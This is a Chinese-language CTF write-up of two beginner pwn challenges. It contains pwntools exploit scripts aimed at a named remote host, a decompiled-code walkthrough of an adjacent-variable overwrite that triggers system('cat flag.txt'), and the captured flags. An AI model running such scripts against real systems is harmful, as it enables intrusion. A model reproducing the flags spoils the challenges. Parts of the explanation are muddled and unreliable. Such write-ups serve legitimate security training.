get_shell
这题直接给shell了
exp
from pwn import*
p = remote('61.147.171.105',59682)
p.sendline('cat flag')
p.interactive()
cyberpeace{8cd678c722f48327a69b2661ae8956c8}
hello_pwn
checksec一下
ok，64位的
{alarm(0x3Cu);setbuf(stdout, 0LL);puts("~~ welcome to ctf ~~ ");puts("lets get helloworld for bof");read(0, &unk_601068, 0x10uLL);if ( dword_60106C == 1853186401 )sub_400686();return 0LL;
}alarm(0x3Cu)：
调用alarm函数设置了一个定时器，其值为0x3Cu（60秒）。如果程序在60秒内没有结束，会收到一个SIGALRM信号。这通常用于防止程序挂起。setbuf(stdout, 0LL)：
关闭stdout的缓冲，使得所有输出都立即写入。这通常用于调试，以便实时查看程序输出。puts（）函数：
使用puts函数输出两条欢迎信息。read(0, &unk_601068, 0x10uLL)：
这是漏洞的关键点。read函数从文件描述符0（通常是标准输入stdin）读取0x10uLL（16字节）的数据到unk_601068这个地址。这里有几个问题：unk_601068可能是一个未初始化的或未分配足够空间的缓冲区，导致缓冲区溢出。
读取的字节数0x10uLL是硬编码的，没有考虑实际缓冲区的大小。
如果用户输入超过16字节的数据，会覆盖缓冲区后面的内存区域，可能包括其他变量的值或者函数的返回地址。
if ( dword_60106C == 'nuaa' ) sub_400686()：
这里检查dword_60106C（unk_601068后面的一个双字）是否等于'nuaa'。这个检查看起来是为了确保某种条件满足时才调用sub_400686()。然而，由于缓冲区溢出漏洞，攻击者可以故意构造输入来覆盖dword_60106C的值，从而控制程序的执行流程。sub_400686()函数：该函数返回一个 64 位整数（__int64）。函数的主体做了两件事情：system("cat flag.txt");：这行代码调用了 system 函数，该函数执行传递给它的字符串参数作为 shell 命令。在这里，它尝试运行 cat flag.txt 命令，这个命令在 Unix-like 系统（比如 Linux）上用于显示 flag.txt 文件的内容。如果该文件存在且可读，它的内容将被输出到标准输出（通常是终端或控制台）。return 0LL;：这行代码表示函数执行成功，并返回整数值 0。LL 后缀用于明确表示这个整数值是一个 64 位整数。read(0, &unk_601068, 0x10uLL); 读取数据
if ( dword_60106C == 1853186401 ) 判断值是否相等
来看一下这两行代码
if 这个->dword_60106C = 1853186401
当上述的条件判断 if 语句中的条件满足，也就是 dword_60106C 的值确实等于 1853186401 时，会执行 sub_400686() 这个函数调用。
双击点开看看
会执行cat flag命令
可以分析得到：当unk_601068 = dword_60106C时，得到flag
双击dword_60106C，定位到这里
dword_60106C与unk_601068相差4个字节
编写exp
from pwn import*
p = remote('61.147.171.105',57285)
p.sendline(b'a'*4+p64(1853186401))
p.interactive()payload=b'a'*4+p64(1853186401)
解读
b:字节类型 #python3脚本中的，python2的可以去掉
4 #四个字节，dword_60106C与dword_60106C相差4个字节
p64 #64位的
1853186401 #dword_60106C == 1853186401，这个值要等于unk_601068的值
cyberpeace{0d34d62bdc19f237ee4906a664260c63